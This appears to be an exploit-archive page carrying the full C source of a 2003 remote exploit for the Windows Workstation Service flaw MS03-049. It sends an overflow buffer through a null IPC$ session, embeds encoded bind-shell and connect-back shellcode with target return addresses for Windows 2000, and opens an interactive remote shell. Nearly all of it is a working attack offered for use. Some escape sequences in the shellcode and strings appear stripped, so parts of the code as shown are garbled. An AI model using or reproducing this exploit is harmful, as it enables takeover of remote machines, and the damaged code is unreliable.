[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MS Windows Workstation Service WKSSVC Remote Exploit (MS03-049)
# Published : 2003-11-14
# Author : snooq
# Previous Title : Apache mod_gzip (with debug_mode) <= 1.2.26.1a Remote Exploit
# Next Title : MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)
/*
* Author: snooq
* Date: 14 November 2003
*
* +++++++++++++ THIS IS A PRIVATE VERSION +++++++++++++++
*
* This is just slightly better than the one I posted to
* packetstorm....
*
* The public version will crash 'services.exe' immediately
* while this one crash it only when u exit from shell....
*
* I'm still trying to figure out a way to avoid the 'crash'
* all together... any ideas????
*
* Let me know if you hav trouble compiling this shit...
* I hope this could be a good e.g for u to try Win32
* exploitation..
*
* This code is crappy... if u know of a better way of doing
* things... pls tell me.......
*
* Otherwise, if you guys r keen... I'll be more than happy
* to go thru this in details wif u all... Meanwhile..enjoy!
*
* +++++++++++++++++++++++++++++++++++++++++++++++++
*/
#pragma comment (linker,"/NODEFAULTLIB:msvcprtd.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcmtd.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcmt.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcd.lib")
#pragma comment (lib,"ws2_32")
#pragma comment (lib,"msvcrt")
#pragma comment (lib,"mpr")
#pragma warning (disable:4013)
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <stdlib.h>
#include <stdio.h>
#include <lm.h>
#define NOP 0x90
#define PORT 24876
#define KEY 0x99999999
#define ALIGN 1 // Between 0 ~ 3
#define TARGET 1
#define INTERVAL 3
#define TIME_OUT 20
#define PORT_OFFSET_1 198
#define PORT_OFFSET_2 193
#define IP_OFFSET 186
#define SC_OFFSET 20 // Gap for some NOPs...
#define RET_SIZE 2026 // Big enuff to take EIP... ;)
#define SC_SIZE_1 sizeof(bindport)
#define SC_SIZE_2 sizeof(connback)
#define BSIZE 2600
#define SSIZE 128
extern char getopt(int,char **,char*);
extern char *optarg;
static int alarm_fired=0;
HMODULE hMod;
FARPROC fxn;
HANDLE t1, t2;
char buff[BSIZE];
struct {
char *os;
long jmpesp;
char *dll;
}
targets[] = {
{
"Window 2000 (en) SP4",
0x77e14c29,
"user32.dll 5.0.2195.6688"
},
{
"Window 2000 (en) SP1",
0x77e3cb4c,
"user32.dll 5.0.2195.1600"
},
{
"For debugging only",
0x41424344,
"dummy.dll 5.0.2195.1600"
}
}, v;
/*
* HD Moore's shellcode..... ;)
*/
char bindport[]=
"xebx19x5ex31xc9x81xe9xa6xffxffxffx81x36x99x99x99"
"x99x81xeexfcxffxffxffxe2xf2xebx05xe8xe2xffxffxff"
"x71xa1x99x99x99xdaxd4xddx99x7exe0x5fxe0x7cxd0x1f"
"xd0x3dx34xb7x70x3dx83xe9x5ex40x90x6cx34x52x74x65"
"xa2x17xd7x97x75xe7x41x7bxeax34x40x9cx57xebx67x2a"
"x8fxcexcaxabxc6xaaxabxb7xddxd5xd5x99x98xc2xcdx10"
"x7cx10xc4x99xf3xa9xc0xfdx12x98x12xd9x95x12xe9x85"
"x34x12xc1x91x72x95x14xcexb5xc8xcbx66x49x10x5axc0"
"x72x89xf3x91xc7x98x77xf3x93xc0x12xe4x99x19x60x9f"
"xedx7dxc8xcax66xadx16x71x09x99x99x99xc0x10x9dx17"
"x7bx72xa8x66xffx18x75x09x98xcdxf1x98x98x99x99x66"
"xccxb9xcexcexcexcexdexcexdexcex66xccx85x10x5axa8"
"x66xcexcexf1x9bx99xf8xb5x10x7fxf3x89xcfxcax66xcc"
"x81xcexcax66xccx8dxcexcfxcax66xccx89x10x5bxffx18"
"x75xcdx99x14xa5xbdxa8x59xf3x8cxc0x6ax32x10x4ex5f"
"xddxbdx89xddx67xddxbdxa4x10xe5xbdxd1x10xe5xbdxd5"
"x10xe5xbdxc9x14xddxbdx89xcdxc9xc8xc8xc8xd8xc8xd0"
"xc8xc8x66xecx99xc8x66xccxa9x10x78xf1x66x66x66x66"
"x66xa8x66xccxb5xcex66xccx95x66xccxb1xcaxccxcfxce"
"x12xf5xbdx81x12xdcxa5x12xcdx9cxe1x98x73x12xd3x81"
"x12xc3xb9x98x72x7axabxd0x12xadx12x98x77xa8x66x65"
"xa8x59x35xa1x79xedx9ex58x56x94x98x5ex72x6bxa2xe5"
"xbdx8dxecx78x12xc3xbdx98x72xffx12x95xd2x12xc3x85"
"x98x72x12x9dx12x98x71x72x9bxa8x59x10x73xc6xc7xc4"
"xc2x5bx91x99";
char connback[]=
"xebx19x5ex31xc9x81xe9xabxffxffxffx81x36x99x99x99"
"x99x81xeexfcxffxffxffxe2xf2xebx05xe8xe2xffxffxff"
"x71xa9x99x99x99xdaxd4xddx99x7exe0x5fxe0x75x60x33"
"xf9x40x90x6cx34x52x74x65xa2x17xd7x97x75xe7x41x7b"
"xeax34x40x9cx57xebx67x2ax8fxcexcaxabxc6xaaxabxb7"
"xddxd5xd5x99x98xc2xcdx10x7cx10xc4x99xf3xa9xc0xfd"
"x12x98x12xd9x95x12xe9x85x34x12xc1x91x72x95x14xce"
"xbdxc8xcbx66x49x10x5axc0x72x89xf3x91xc7x98x77xf3"
"x91xc0x12xe4x99x19x60x9dxedx7dxc8xcax66xadx16x71"
"x1ax99x99x99xc0x10x9dx17x7bx72xa8x66xffx18x75x09"
"x98xcdxf1x98x98x99x99x66xccx81xcexcexcexcexdexce"
"xdexcex66xccx8dx10x5axa8x66xf1x59x31x91xa0xf1x9b"
"x99xf8xb5x10x78xf3x89xc8xcax66xccx89x1cx59xecxdd"
"x14xa5xbdxa8x59xf3x8cxc0x6ax32x5fxddxbdx89xddx67"
"xddxbdxa4x10xc5xbdxd1x10xc5xbdxd5x10xc5xbdxc9x14"
"xddxbdx89xcdxc9xc8xc8xc8xd8xc8xd0xc8xc8x66xecx99"
"xc8x66xccxb1x10x78xf1x66x66x66x66x66xa8x66xccxbd"
"xcex66xccx95x66xccxb9xcaxccxcfxcex12xf5xbdx81x12"
"xdcxa5x12xcdx9cxe1x98x73x12xd3x81x12xc3xb9x98x72"
"x7axabxd0x12xadx12x98x77xa8x66x65xa8x59x35xa1x79"
"xedx9ex58x56x94x98x5ex72x6bxa2xe5xbdx8dxecx78x12"
"xc3xbdx98x72xffx12x95xd2x12xc3x85x98x72x12x9dx12"
"x98x71x72x9bxa8x59x10x73xc6xc7xc4xc2x5bx91x99x09";
void err_exit(char *s) {
printf("%sn",s);
exit(0);
}
/*
* Ripped from TESO code and modifed by ey4s for win32
* and... lamer quoted it wholesale here..... =p
*/
void doshell(int sock) {
int l;
char buf[512];
struct timeval time;
unsigned long ul[2];
time.tv_sec=1;
time.tv_usec=0;
while (1) {
ul[0]=1;
ul[1]=sock;
l=select(0,(fd_set *)&ul,NULL,NULL,&time);
if(l==1) {
l=recv(sock,buf,sizeof(buf),0);
if (l<=0) {
err_exit("-> Connection closed...n");
}
l=write(1,buf,l);
if (l<=0) {
err_exit("-> Connection closed...n");
}
}
else {
l=read(0,buf,sizeof(buf));
if (l<=0) {
err_exit("-> Connection closed...n");
}
l=send(sock,buf,l,0);
if (l<=0) {
err_exit("-> Connection closed...n");
}
}
}
}
void changeip(char *ip) {
char *ptr;
ptr=connback+IP_OFFSET;
/* Assume Little-Endianess.... */
*((long *)ptr)=inet_addr(ip)^KEY;
}
void changeport(char *code, int port, int offset) {
char *ptr;
ptr=code+offset;
port^=KEY;
/* Assume Little-Endianess.... */
*ptr++=(char)((port>>8)&0xff);
*ptr++=(char)(port&0xff);
}
void banner() {
printf("nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]nn");
}
void usage(char *s) {
banner();
printf("Usage: %s [options]n",s);
printf("t-rtSize of 'return addresses'n");
printf("t-atAlignment size [0~3]n");
printf("t-ptPort to bind shell to (in 'connecting' mode), orn");
printf("ttPort for shell to connect back (in 'listening' mode)n");
printf("t-stShellcode offset from the return addressn");
printf("t-htTarget's IPn");
printf("t-ttTarget types. ( -H for more info )n");
printf("t-HtShow list of possible targetsn");
printf("t-ltListening for shell connectingn");
printf("ttback to port specified by '-p' switchn");
printf("t-itIP for shell to connect backn");
printf("t-ItTime interval between each trial ('connecting' mode only)n");
printf("t-TtTime out (in number of seconds)nn");
printf("tNotes:nt======nt'-h' is mandatoryn");
printf("t'-i' is mandatory if '-l' is specifiednn");
exit(0);
}
void showtargets() {
int i;
banner();
printf("Possible targets are:n");
printf("=====================n");
for (i=0;i<sizeof(targets)/sizeof(v);i++) {
printf("%d) %s",i+1,targets[i].os);
printf(" --> 0x%08x (%s)n",targets[i].jmpesp,targets[i].dll);
}
exit(0);
}
void sendstr(char *host) {
WCHAR wStr[128];
char ipc[128], hStr[128];
DWORD ret;
NETRESOURCE NET;
hMod=LoadLibrary("netapi32.dll");
fxn=GetProcAddress(hMod,"NetValidateName");
_snprintf(ipc,127,"\\%s\ipc$",host);
_snprintf(hStr,127,"\\%s",host);
MultiByteToWideChar(CP_ACP,0,hStr,strlen(hStr)+1,wStr,sizeof(wStr)/sizeof(wStr[0]));
NET.lpLocalName = NULL;
NET.lpProvider = NULL;
NET.dwType = RESOURCETYPE_ANY;
NET.lpRemoteName = (char*)&ipc;
printf("-> Setting up $IPC session...(aka 'null session')n");
ret=WNetAddConnection2(&NET,"","",0);
if (ret!=ERROR_SUCCESS) { err_exit("-> Couldn't establish IPC$ connection..."); }
else printf("-> IPC$ session setup successfully...n");
printf("-> Sending exploit string...n");
ret=fxn((LPCWSTR)wStr,buff,NULL,NULL,0);
}
VOID CALLBACK alrm_bell(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime ) {
err_exit("-> I give up...dude.....");
}
void setalarm(int timeout) {
MSG msg = { 0, 0, 0, 0 };
SetTimer(0, 0, (timeout*1000), (TIMERPROC)alrm_bell);
while(!alarm_fired) {
if (GetMessage(&msg, 0, 0, 0) ) {
if (msg.message == WM_TIMER) printf("-> WM_TIMER received...n");
DispatchMessage(&msg);
}
}
}
void resetalarm() {
if (TerminateThread(t2,0)==0) {
err_exit("-> Failed to reset alarm...");
}
if (TerminateThread(t1,0)==0) {
err_exit("-> Failed to kill the 'sending' thread...");
}
}
void do_send(char *host,int timeout) {
t1=(HANDLE)_beginthread(sendstr,0,host);
if (t1==0) { err_exit("-> Failed to send exploit string..."); }
t2=(HANDLE)_beginthread(setalarm,0,timeout);
if (t2==0) { err_exit("-> Failed to set alarm clock..."); }
}
int main(int argc, char *argv[]) {
char opt;
char *host, *ptr, *ip="";
struct sockaddr_in sockadd;
int i, i_len, ok=0, mode=0, flag=0;
int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET;
int target=TARGET, scsize=SC_SIZE_1, port=PORT;
int timeout=TIME_OUT, interval=INTERVAL;
long retaddr;
WSADATA wsd;
SOCKET s1, s2;
if (argc<2) { usage(argv[0]); }
while ((opt=getopt(argc,argv,"a:i:I:r:s:h:t:T:p:Hl"))!=EOF) {
switch(opt) {
case 'a':
align=atoi(optarg);
break;
case 'I':
interval=atoi(optarg);
break;
case 'T':
timeout=atoi(optarg);
break;
case 't':
target=atoi(optarg);
retaddr=targets[target-1].jmpesp;
break;
case 'i':
ip=optarg;
changeip(ip);
break;
case 'l':
mode=1;
scsize=SC_SIZE_2;
break;
case 'r':
retsize=atoi(optarg);
break;
case 's':
sc_offset=atoi(optarg);
break;
case 'h':
ok=1;
host=optarg;
sockadd.sin_addr.s_addr=inet_addr(optarg);
break;
case 'p':
port=atoi(optarg);
break;
case 'H':
showtargets();
break;
default:
usage(argv[0]);
break;
}
}
if (!ok || (mode&&((strcmp(ip,"")==0)))) { usage(argv[0]); }
memset(buff,NOP,BSIZE);
ptr=buff+align;
for(i=0;i<retsize;i+=4) {
*((long *)ptr)=retaddr;
ptr+=4;
}
if (WSAStartup(MAKEWORD(1,1),&wsd)!=0) {
err_exit("-> WSAStartup error....");
}
if ((s1=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
err_exit("-> socket() error...");
}
sockadd.sin_family=AF_INET;
sockadd.sin_port=htons((SHORT)port);
ptr=buff+retsize+sc_offset;
if (BSIZE<(retsize+sc_offset+scsize)) err_exit("-> Bad 'sc_offset'..");
banner();
if (mode) {
printf("-> 'Listening' mode...( port: %d )n",port);
changeport(connback, port, PORT_OFFSET_2);
for(i=0;i<scsize;i++) { *ptr++=connback[i]; }
do_send(host,timeout);
Sleep(1000);
sockadd.sin_addr.s_addr=htonl(INADDR_ANY);
i_len=sizeof(sockadd);
if (bind(s1,(struct sockaddr *)&sockadd,i_len)<0) {
err_exit("-> bind() error");
}
if (listen(s1,0)<0) {
err_exit("-> listen() error");
}
printf("-> Waiting for connection...n");
s2=accept(s1,(struct sockaddr *)&sockadd,&i_len);
if (s2<0) {
err_exit("-> accept() error");
}
printf("-> Connection from: %snn",inet_ntoa(sockadd.sin_addr));
resetalarm();
doshell(s2);
}
else {
printf("-> 'Connecting' mode...n",port);
changeport(bindport, port, PORT_OFFSET_1);
for(i=0;i<scsize;i++) { *ptr++=bindport[i]; }
do_send(host,timeout);
Sleep(1000);
printf("-> Will try connecting to shell now....n");
i=0;
while(!flag) {
Sleep(interval*1000);
if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) {
printf("-> Trial #%d....n",i++);
}
else { flag=1; }
}
printf("-> Connected to shell at %s:%dnn",inet_ntoa(sockadd.sin_addr),port);
resetalarm();
doshell(s1);
}
return 0;
}
// www.Syue.com [2003-11-14]